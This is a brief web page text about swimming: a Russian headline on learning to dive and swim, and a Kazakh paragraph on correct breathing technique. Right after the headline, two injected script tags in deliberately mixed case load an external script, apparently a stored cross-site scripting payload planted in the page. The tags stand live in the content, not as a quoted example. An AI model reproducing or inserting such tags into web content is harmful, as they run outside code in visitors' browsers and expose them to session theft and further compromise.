Учимся нырять, плавать и любить воду!<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Жүзуге үйрену барысында тыныс алуды дұрыс қоя білу алдыңғы талаптардың бірі. Дұрыс тыныстау техникасын меңгерген жүзуші жүзудің дұрыс техникасын да меңгереді.